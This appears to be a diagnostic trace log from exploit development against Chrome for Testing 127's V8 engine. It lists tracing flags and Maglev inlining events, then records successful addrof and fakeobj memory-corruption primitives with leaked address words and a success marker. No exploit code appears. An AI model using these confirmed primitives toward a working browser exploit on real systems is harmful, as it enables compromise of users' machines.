Chrome for Testing Stable 127.0.6533.72 / V8 12.7.224.16
Diagnostic graph trace only; final exploit uses no V8 flags.

Diagnostic flags:

  --no-concurrent-recompilation
  --trace-maglev-graph-building
  --trace-opt
  --trace-deopt

Decisive adapted-trigger trace events:

  Compiling <JSFunction inline_local_addrof_outer> with Maglev
  == Inlining <SharedFunctionInfo inline_local_addrof_inner>
  == Inlining <SharedFunctionInfo inline_local_addrof_next>
    ! Trying to reduce builtin ArrayIteratorPrototypeNext

  Compiling <JSFunction inline_local_fakeobj_outer> with Maglev
  == Inlining <SharedFunctionInfo inline_local_fakeobj_inner>
  == Inlining <SharedFunctionInfo inline_local_fakeobj_next>
    ! Trying to reduce builtin ArrayIteratorPrototypeNext

The adapted inlined-local graph contains no:

  Failed TryReduceArrayIteratorPrototypeNext: allocation is escaping

The same diagnostic run completed with:

  addrof words = 0x0030e19d 0x0030e1c9
  addrof tags  = 1 1
  fakeobj identity = true
  CHROME127_INLINE_LOCAL_PRIMITIVES_SUCCESS

The final no-V8-flag run is recorded separately in chrome127-full-output.txt.
